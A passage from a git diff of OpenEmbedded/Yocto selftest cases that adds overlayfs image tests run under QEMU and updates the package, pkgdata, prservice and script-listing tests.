- scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
-
-class OEPybootchartguyTests(OEScriptTests):
+ cls.scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
def test_pybootchartguy_help(self):
runCmd('%s/pybootchartgui/pybootchartgui.py --help' % self.scripts_dir)
@@ -67,7 +65,10 @@ class OEPybootchartguyTests(OEScriptTests):
class OEGitproxyTests(OESelftestTestCase):
- scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
+ @classmethod
+ def setUpClass(cls):
+ super().setUpClass()
+ cls.scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
def test_oegitproxy_help(self):
try:
@@ -125,15 +126,22 @@ class OEGitproxyTests(OESelftestTestCase):
class OeRunNativeTest(OESelftestTestCase):
def test_oe_run_native(self):
bitbake("qemu-helper-native -c addto_recipe_sysroot")
- result = runCmd("oe-run-native qemu-helper-native tunctl -h")
- self.assertIn("Delete: tunctl -d device-name [-f tun-clone-device]", result.output)
+ result = runCmd("oe-run-native qemu-helper-native qemu-oe-bridge-helper --help")
+ self.assertIn("Helper function to find and exec qemu-bridge-helper", result.output)
+
+class OEListPackageconfigTests(OESelftestTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ super().setUpClass()
+ cls.scripts_dir = os.path.join(get_bb_var('COREBASE'), 'scripts')
-class OEListPackageconfigTests(OEScriptTests):
#oe-core.scripts.List_all_the_PACKAGECONFIG's_flags
def check_endlines(self, results, expected_endlines):
for line in results.output.splitlines():
for el in expected_endlines:
- if line.split() == el.split():
+ if line and line.split()[0] == el.split()[0] and \
+ ' '.join(sorted(el.split())) in ' '.join(sorted(line.split())):
expected_endlines.remove(el)
break
@@ -149,8 +157,8 @@ class OEListPackageconfigTests(OEScriptTests):
results = runCmd('%s/contrib/list-packageconfig-flags.py' % self.scripts_dir)
expected_endlines = []
expected_endlines.append("RECIPE NAME PACKAGECONFIG FLAGS")
- expected_endlines.append("pinentry gtk2 libcap ncurses qt secret")
- expected_endlines.append("tar acl")
+ expected_endlines.append("pinentry gtk2 ncurses qt secret")
+ expected_endlines.append("tar acl selinux")
self.check_endlines(results, expected_endlines)
@@ -167,11 +175,10 @@ class OEListPackageconfigTests(OEScriptTests):
def test_packageconfig_flags_option_all(self):
results = runCmd('%s/contrib/list-packageconfig-flags.py -a' % self.scripts_dir)
expected_endlines = []
- expected_endlines.append("pinentry-1.1.0")
- expected_endlines.append("PACKAGECONFIG ncurses libcap")
+ expected_endlines.append("pinentry-1.2.1")
+ expected_endlines.append("PACKAGECONFIG ncurses")
expected_endlines.append("PACKAGECONFIG[qt] --enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase")
expected_endlines.append("PACKAGECONFIG[gtk2] --enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0")
- expected_endlines.append("PACKAGECONFIG[libcap] --with-libcap, --without-libcap, libcap")
expected_endlines.append("PACKAGECONFIG[ncurses] --enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses")
expected_endlines.append("PACKAGECONFIG[secret] --enable-libsecret, --disable-libsecret, libsecret")
@@ -181,7 +188,7 @@ class OEListPackageconfigTests(OEScriptTests):
results = runCmd('%s/contrib/list-packageconfig-flags.py -p' % self.scripts_dir)
expected_endlines = []
expected_endlines.append("RECIPE NAME PACKAGECONFIG FLAGS")
- expected_endlines.append("pinentry gtk2 libcap ncurses qt secret")
+ expected_endlines.append("pinentry gtk2 ncurses qt secret")
self.check_endlines(results, expected_endlines)
diff --git a/meta/lib/oeqa/selftest/cases/overlayfs.py b/meta/lib/oeqa/selftest/cases/overlayfs.py
new file mode 100644
index 0000000000..e31063567b
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/overlayfs.py
@@ -0,0 +1,502 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, runqemu
+from oeqa.core.decorator import OETestTag
+from oeqa.core.decorator.data import skipIfNotMachine
+
+def getline_qemu(out, line):
+ for l in out.split('\n'):
+ if line in l:
+ return l
+
+def getline(res, line):
+ return getline_qemu(res.output, line)
+
+class OverlayFSTests(OESelftestTestCase):
+ """Overlayfs class usage tests"""
+
+ def add_overlay_conf_to_machine(self):
+ machine_inc = """
+OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+"""
+ self.set_machine_config(machine_inc)
+
+ def test_distro_features_missing(self):
+ """
+ Summary: Check that required DISTRO_FEATURES are set
+ Expected: Fail when either systemd or overlayfs are not in DISTRO_FEATURES
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+"""
+ overlayfs_recipe_append = """
+inherit overlayfs
+"""
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "overlayfs-user was skipped: missing required distro features")
+ self.assertTrue("overlayfs" in res.output, msg=res.output)
+ self.assertTrue("systemd" in res.output, msg=res.output)
+ self.assertTrue("ERROR: Required build target 'core-image-minimal' has no buildable providers." in res.output, msg=res.output)
+
+ def test_not_all_units_installed(self):
+ """
+ Summary: Test QA check that we have required mount units in the image
+ Expected: Fail because mount unit for overlay partition is not installed
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES:append = " systemd overlayfs usrmerge"
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, " Mount path /mnt/overlay not found in fstab and unit mnt-overlay.mount not found in systemd unit directories")
+ self.assertTrue(line and line.startswith("WARNING:"), msg=res.output)
+ line = getline(res, "Not all mount paths and units are installed in the image")
+ self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
+
+ def test_not_all_units_installed_but_qa_skipped(self):
+ """
+ Summary: Test skipping the QA check
+ Expected: Image is created successfully
+ Author: Claudius Heine <ch@denx.de>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES:append = " systemd overlayfs usrmerge"
+OVERLAYFS_QA_SKIP[mnt-overlay] = "mount-configured"
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+
+ bitbake('core-image-minimal')
+
+ def test_mount_unit_not_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because mount unit was not set
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES:append = " systemd overlayfs usrmerge"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def test_wrong_mount_unit_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because not the correct flag used for mount unit
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES:append = " systemd overlayfs usrmerge"
+"""
+
+ wrong_machine_config = """
+OVERLAYFS_MOUNT_POINT[usr-share-overlay] = "/usr/share/overlay"
+"""
+
+ self.write_config(config)
+ self.set_machine_config(wrong_machine_config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "Missing required mount point for OVERLAYFS_MOUNT_POINT[mnt-overlay] in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def _test_correct_image(self, recipe, data):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly
+ Expected: Image is created successfully
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user systemd-machine-units"
+DISTRO_FEATURES:append = " overlayfs"
+
+# Use systemd as init manager
+INIT_MANAGER = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+"""
+
+ overlayfs_recipe_append = """
+OVERLAYFS_WRITABLE_PATHS[mnt-overlay] += "/usr/share/another-overlay-mount"
+
+SYSTEMD_SERVICE:${PN} += " \
+ my-application.service \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/my-application.service
+[Unit]
+Description=Sample application start-up unit
+After=overlayfs-user-overlays.service
+Requires=overlayfs-user-overlays.service
+
+[Service]
+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc(recipe, data)
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal') as qemu:
+ # Check that application service started
+ status, output = qemu.run_serial("systemctl status my-application")
+ self.assertTrue("active (exited)" in output, msg=output)
+
+ # Check that overlay mounts are dependencies of our application unit
+ status, output = qemu.run_serial("systemctl list-dependencies my-application")
+ self.assertTrue("overlayfs-user-overlays.service" in output, msg=output)
+
+ status, output = qemu.run_serial("systemctl list-dependencies overlayfs-user-overlays")
+ self.assertTrue("usr-share-another\\x2doverlay\\x2dmount.mount" in output, msg=output)
+ self.assertTrue("usr-share-my\\x2dapplication.mount" in output, msg=output)
+
+ # Check that we have /mnt/overlay fs mounted as tmpfs and
+ # /usr/share/my-application as an overlay (see overlayfs-user recipe)
+ status, output = qemu.run_serial("/bin/mount -t tmpfs,overlay")
+
+ line = getline_qemu(output, "on /mnt/overlay")
+ self.assertTrue(line and line.startswith("tmpfs"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/my-application")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/another-overlay-mount")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+ @OETestTag("runqemu")
+ def test_correct_image_fstab(self):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly via fstab
+ Expected: Image is created successfully
+ Author: Stefan Herbrechtsmeier <stefan.herbrechtsmeier@weidmueller.com>
+ """
+
+ base_files_append = """
+do_install:append() {
+ cat <<EOT >> ${D}${sysconfdir}/fstab
+tmpfs /mnt/overlay tmpfs mode=1777,strictatime,nosuid,nodev 0 0
+EOT
+}
+"""
+
+ self._test_correct_image('base-files', base_files_append)
+
+ @OETestTag("runqemu")
+ def test_correct_image_unit(self):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly via mount unit
+ Expected: Image is created successfully
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ systemd_machine_unit_append = """
+SYSTEMD_SERVICE:${PN} += " \
+ mnt-overlay.mount \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/mnt-overlay.mount
+[Unit]
+Description=Tmpfs directory
+DefaultDependencies=no
+
+[Mount]
+What=tmpfs
+Where=/mnt/overlay
+Type=tmpfs
+Options=mode=1777,strictatime,nosuid,nodev
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+
+"""
+
+ self._test_correct_image('systemd-machine-units', systemd_machine_unit_append)
+
+@OETestTag("runqemu")
+class OverlayFSEtcRunTimeTests(OESelftestTestCase):
+ """overlayfs-etc class tests"""
+
+ def test_all_required_variables_set(self):
+ """
+ Summary: Check that required variables are set
+ Expected: Fail when any of required variables is missing
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ configBase = """
+# Use systemd as init manager
+INIT_MANAGER = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+"""
+ configMountPoint = """
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+"""
+ configDevice = """
+OVERLAYFS_ETC_DEVICE = "/dev/mmcblk0p1"
+"""
+
+ self.write_config(configBase)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configMountPoint)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configDevice)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_FSTYPE should contain a valid file system type on /dev/mmcblk0p1")
+ self.assertTrue(line, msg=res.output)
+
+ def test_image_feature_conflict(self):
+ """
+ Summary: Overlayfs-etc is not allowed to be used with package-management
+ Expected: Feature conflict
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+# Use systemd as init manager
+INIT_MANAGER = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+EXTRA_IMAGE_FEATURES += "package-management"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "contains conflicting IMAGE_FEATURES")
+ self.assertTrue("overlayfs-etc" in res.output, msg=res.output)
+ self.assertTrue("package-management" in res.output, msg=res.output)
+
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14963
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
+ def test_image_feature_is_missing(self):
+ """
+ Summary: Overlayfs-etc class is not applied when image feature is not set
+ Expected: Image is created successfully but /etc is not an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+# Use systemd as init manager
+INIT_MANAGER = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+IMAGE_FSTYPES += "wic"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+OVERLAYFS_ROOTFS_TYPE = "ext4"
+"""
+
+ self.write_config(config)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertFalse(line, msg=output)
+
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
+ def test_sbin_init_preinit(self):
+ self.run_sbin_init(False, "ext4")
+
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
+ def test_sbin_init_original(self):
+ self.run_sbin_init(True, "ext4")
+
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
+ def test_sbin_init_read_only(self):
+ self.run_sbin_init(True, "squashfs")
+
+ def run_sbin_init(self, origInit, rootfsType):
+ """
+ Summary: Confirm we can replace original init and mount overlay on top of /etc
+ Expected: Image is created successfully and /etc is mounted as an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = self.get_working_config()
+
+ args = {
+ 'OVERLAYFS_INIT_OPTION': "" if origInit else "init=/sbin/preinit",
+ 'OVERLAYFS_ETC_USE_ORIG_INIT_NAME': int(origInit == True),
+ 'OVERLAYFS_ROOTFS_TYPE': rootfsType,
+ 'OVERLAYFS_ETC_CREATE_MOUNT_DIRS': int(rootfsType == "ext4")
+ }
+
+ self.write_config(config.format(**args))
+
+ bitbake('core-image-minimal')
+ testFile = "/etc/my-test-data"
+
+ with runqemu('core-image-minimal', image_fstype='wic', discard_writes=False) as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "/dev/sda3")
+ self.assertTrue("/data" in output, msg=output)
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertTrue(line and line.startswith("/data/overlay-etc/upper on /etc type overlay"), msg=output)
+
+ # check that lower layer is not available
+ status, output = qemu.run_serial("ls -1 /data/overlay-etc/lower")
+ line = getline_qemu(output, "No such file or directory")
+ self.assertTrue(line, msg=output)
+
+ status, output = qemu.run_serial("touch " + testFile)
+ status, output = qemu.run_serial("sync")
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
+
+ # Check that file exists in /etc after reboot
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
+
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
+ def test_lower_layer_access(self):
+ """
+ Summary: Test that lower layer of /etc is available read-only when configured
+ Expected: Can't write to lower layer. The files on lower and upper different after
+ modification
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = self.get_working_config()
+
+ configLower = """
+OVERLAYFS_ETC_EXPOSE_LOWER = "1"
+IMAGE_INSTALL:append = " overlayfs-user"
+"""
+ testFile = "lower-layer-test.txt"
+
+ args = {
+ 'OVERLAYFS_INIT_OPTION': "",
+ 'OVERLAYFS_ETC_USE_ORIG_INIT_NAME': 1,
+ 'OVERLAYFS_ROOTFS_TYPE': "ext4",
+ 'OVERLAYFS_ETC_CREATE_MOUNT_DIRS': 1
+ }
+
+ self.write_config(config.format(**args))
+
+ self.append_config(configLower)
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("echo \"Modified in upper\" > /etc/" + testFile)
+ status, output = qemu.run_serial("diff /etc/" + testFile + " /data/overlay-etc/lower/" + testFile)
+ line = getline_qemu(output, "Modified in upper")
+ self.assertTrue(line, msg=output)
+ line = getline_qemu(output, "Original file")
+ self.assertTrue(line, msg=output)
+
+ status, output = qemu.run_serial("touch /data/overlay-etc/lower/ro-test.txt")
+ line = getline_qemu(output, "Read-only file system")
+ self.assertTrue(line, msg=output)
+
+ def get_working_config(self):
+ return """
+# Use systemd as init manager
+INIT_MANAGER = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " \
+ features/overlayfs/overlayfs.scc \
+ cfg/fs/squashfs.scc"
+
+IMAGE_FSTYPES += "wic"
+OVERLAYFS_INIT_OPTION = "{OVERLAYFS_INIT_OPTION}"
+OVERLAYFS_ROOTFS_TYPE = "{OVERLAYFS_ROOTFS_TYPE}"
+OVERLAYFS_ETC_CREATE_MOUNT_DIRS = "{OVERLAYFS_ETC_CREATE_MOUNT_DIRS}"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_FSTYPE = "ext4"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "{OVERLAYFS_ETC_USE_ORIG_INIT_NAME}"
+
+ROOTFS_POSTPROCESS_COMMAND += "{OVERLAYFS_ROOTFS_TYPE}_rootfs"
+
+ext4_rootfs() {{
+}}
+
+squashfs_rootfs() {{
+ mkdir -p ${{IMAGE_ROOTFS}}/data
+}}
+"""
diff --git a/meta/lib/oeqa/selftest/cases/package.py b/meta/lib/oeqa/selftest/cases/package.py
index 3010b1af49..1aa6c03f8a 100644
--- a/meta/lib/oeqa/selftest/cases/package.py
+++ b/meta/lib/oeqa/selftest/cases/package.py
@@ -1,10 +1,11 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake, get_bb_vars, get_bb_var, runqemu
-import stat
import subprocess, os
import oe.path
import re
@@ -88,6 +89,13 @@ class VersionOrdering(OESelftestTestCase):
self.assertEqual(status - 100, sort, "%s %s (%d) failed" % (ver1, ver2, sort))
class PackageTests(OESelftestTestCase):
+ # Verify that a recipe cannot rename a package into an existing one
+ def test_package_name_conflict(self):
+ res = bitbake("packagenameconflict", ignore_status=True)
+ self.assertNotEqual(res.status, 0)
+ err = "package name already exists"
+ self.assertTrue(err in res.output)
+
# Verify that a recipe which sets up hardlink files has those preserved into split packages
# Also test file sparseness is preserved
def test_preserve_sparse_hardlinks(self):
@@ -116,9 +124,9 @@ class PackageTests(OESelftestTestCase):
# Verify gdb to read symbols from separated debug hardlink file correctly
def test_gdb_hardlink_debug(self):
- features = 'IMAGE_INSTALL_append = " selftest-hardlink"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-dbg"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-gdb"\n'
+ features = 'IMAGE_INSTALL:append = " selftest-hardlink"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-dbg"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-gdb"\n'
self.write_config(features)
bitbake("core-image-minimal")
@@ -134,8 +142,10 @@ class PackageTests(OESelftestTestCase):
self.logger.error("No debugging symbols found. GDB result:\n%s" % output)
return False
- # Check debugging symbols works correctly
- elif re.match(r"Breakpoint 1.*hello\.c.*4", l):
+ # Check debugging symbols works correctly. Don't look for a
+ # source file as optimisation can put the breakpoint inside
+ # stdio.h.
+ elif "Breakpoint 1 at" in l:
return True
self.logger.error("GDB result:\n%d: %s", status, output)
@@ -150,24 +160,25 @@ class PackageTests(OESelftestTestCase):
self.fail('GDB %s failed' % binary)
def test_preserve_ownership(self):
- import os, stat, oe.cachedpath
- features = 'IMAGE_INSTALL_append = " selftest-chown"\n'
+ features = 'IMAGE_INSTALL:append = " selftest-chown"\n'
self.write_config(features)
bitbake("core-image-minimal")
- sysconfdir = get_bb_var('sysconfdir', 'selftest-chown')
- def check_ownership(qemu, gid, uid, path):
+ def check_ownership(qemu, expected_gid, expected_uid, path):
self.logger.info("Check ownership of %s", path)
- status, output = qemu.run_serial(r'/bin/stat -c "%U %G" ' + path, timeout=60)
- output = output.split(" ")
- if output[0] != uid or output[1] != gid :
- self.logger.error("Incrrect ownership %s [%s:%s]", path, output[0], output[1])
- return False
- return True
+ status, output = qemu.run_serial('stat -c "%U %G" ' + path)
+ self.assertEqual(status, 1, "stat failed: " + output)
+ try:
+ uid, gid = output.split()
+ self.assertEqual(uid, expected_uid)
+ self.assertEqual(gid, expected_gid)
+ except ValueError:
+ self.fail("Cannot parse output: " + output)
+ sysconfdir = get_bb_var('sysconfdir', 'selftest-chown')
with runqemu('core-image-minimal') as qemu:
for path in [ sysconfdir + "/selftest-chown/file",
sysconfdir + "/selftest-chown/dir",
- sysconfdir + "/selftest-chown/symlink"]:
- if not check_ownership(qemu, "test", "test", path):
- self.fail('Test ownership %s failed' % path)
+ sysconfdir + "/selftest-chown/symlink",
+ sysconfdir + "/selftest-chown/fifotest/fifo"]:
+ check_ownership(qemu, "test", "test", path)
diff --git a/meta/lib/oeqa/selftest/cases/pkgdata.py b/meta/lib/oeqa/selftest/cases/pkgdata.py
index 833a1803ba..d786c33018 100644
--- a/meta/lib/oeqa/selftest/cases/pkgdata.py
+++ b/meta/lib/oeqa/selftest/cases/pkgdata.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -47,8 +49,8 @@ class OePkgdataUtilTests(OESelftestTestCase):
self.assertGreater(pkgsize, 1, "Size should be greater than 1. %s" % result.output)
def test_find_path(self):
- result = runCmd('oe-pkgdata-util find-path /lib/libz.so.1')
- self.assertEqual(result.output, 'zlib: /lib/libz.so.1')
+ result = runCmd('oe-pkgdata-util find-path /usr/lib/libz.so.1')
+ self.assertEqual(result.output, 'zlib: /usr/lib/libz.so.1')
result = runCmd('oe-pkgdata-util find-path /usr/bin/m4')
self.assertEqual(result.output, 'm4: /usr/bin/m4')
result = runCmd('oe-pkgdata-util find-path /not/exist', ignore_status=True)
@@ -120,8 +122,7 @@ class OePkgdataUtilTests(OESelftestTestCase):
curpkg = line.split(':')[0]
files[curpkg] = []
return files
- bb_vars = get_bb_vars(['base_libdir', 'libdir', 'includedir', 'mandir'])
- base_libdir = bb_vars['base_libdir']
+ bb_vars = get_bb_vars(['libdir', 'includedir', 'mandir'])
libdir = bb_vars['libdir']
includedir = bb_vars['includedir']
mandir = bb_vars['mandir']
@@ -138,7 +139,7 @@ class OePkgdataUtilTests(OESelftestTestCase):
self.assertIn('libz1', list(files.keys()), "listed pkgs. files: %s" %result.output)
self.assertIn('libz-dev', list(files.keys()), "listed pkgs. files: %s" %result.output)
self.assertGreater(len(files['libz1']), 1)
- libspec = os.path.join(base_libdir, 'libz.so.1.*')
+ libspec = os.path.join(libdir, 'libz.so.1.*')
found = False
for fileitem in files['libz1']:
if fnmatch.fnmatchcase(fileitem, libspec):
@@ -218,3 +219,9 @@ class OePkgdataUtilTests(OESelftestTestCase):
def test_specify_pkgdatadir(self):
result = runCmd('oe-pkgdata-util -p %s lookup-pkg zlib' % get_bb_var('PKGDATA_DIR'))
self.assertEqual(result.output, 'libz1')
+
+ def test_no_param(self):
+ result = runCmd('oe-pkgdata-util', ignore_status=True)
+ self.assertEqual(result.status, 2, "Status different than 2. output: %s" % result.output)
+ currpos = result.output.find('usage: oe-pkgdata-util')
+ self.assertTrue(currpos != -1, msg = "Test is Failed. Help is not Displayed in %s" % result.output)
diff --git a/meta/lib/oeqa/selftest/cases/prservice.py b/meta/lib/oeqa/selftest/cases/prservice.py
index fe1f24ea6d..8da3739c57 100644
--- a/meta/lib/oeqa/selftest/cases/prservice.py
+++ b/meta/lib/oeqa/selftest/cases/prservice.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -12,6 +14,8 @@ from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var
from oeqa.utils.network import get_free_port
+import bb.utils
+
class BitbakePrTests(OESelftestTestCase):
@classmethod
@@ -19,11 +23,21 @@ class BitbakePrTests(OESelftestTestCase):
super(BitbakePrTests, cls).setUpClass()
cls.pkgdata_dir = get_bb_var('PKGDATA_DIR')
+ cls.exported_db_path = os.path.join(cls.builddir, 'export.inc')
+ cls.current_db_path = os.path.join(get_bb_var('PERSISTENT_DIR'), 'prserv.sqlite3')
+
+ def cleanup(self):
+ # Ensure any memory resident bitbake is stopped
+ bitbake("-m")
+ # Remove any existing export file or prserv database
+ bb.utils.remove(self.exported_db_path)
+ bb.utils.remove(self.current_db_path + "*")
+
def get_pr_version(self, package_name):
package_data_file = os.path.join(self.pkgdata_dir, 'runtime', package_name)
package_data = ftools.read_file(package_data_file)
find_pr = re.search(r"PKGR: r[0-9]+\.([0-9]+)", package_data)
- self.assertTrue(find_pr, "No PKG revision found in %s" % package_data_file)
+ self.assertTrue(find_pr, "No PKG revision found via regex 'PKGR: r[0-9]+\.([0-9]+)' in %s" % package_data_file)
return int(find_pr.group(1))
def get_task_stamp(self, package_name, recipe_task):
@@ -40,13 +54,14 @@ class BitbakePrTests(OESelftestTestCase):
return str(stamps[0])
def increment_package_pr(self, package_name):
- inc_data = "do_package_append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\"\n}" % datetime.datetime.now()
+ inc_data = "do_package:append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\" > ${PKGDESTWORK}/${PN}.datestamp\n}" % datetime.datetime.now()
self.write_recipeinc(package_name, inc_data)
res = bitbake(package_name, ignore_status=True)
self.delete_recipeinc(package_name)
self.assertEqual(res.status, 0, msg=res.output)
def config_pr_tests(self, package_name, package_type='rpm', pr_socket='localhost:0'):
+ self.cleanup()
config_package_data = 'PACKAGE_CLASSES = "package_%s"' % package_type
self.write_config(config_package_data)
config_server_data = 'PRSERV_HOST = "%s"' % pr_socket
@@ -63,33 +78,35 @@ class BitbakePrTests(OESelftestTestCase):
pr_2 = self.get_pr_version(package_name)
stamp_2 = self.get_task_stamp(package_name, track_task)
- self.assertTrue(pr_2 - pr_1 == 1, "Step between same pkg. revision is greater than 1")
+ self.assertTrue(pr_2 - pr_1 == 1, "New PR %s did not increment as expected (from %s), difference should be 1" % (pr_2, pr_1))
self.assertTrue(stamp_1 != stamp_2, "Different pkg rev. but same stamp: %s" % stamp_1)
+ self.cleanup()
+
def run_test_pr_export_import(self, package_name, replace_current_db=True):
self.config_pr_tests(package_name)
self.increment_package_pr(package_name)
pr_1 = self.get_pr_version(package_name)
- exported_db_path = os.path.join(self.builddir, 'export.inc')
- export_result = runCmd("bitbake-prserv-tool export %s" % exported_db_path, ignore_status=True)
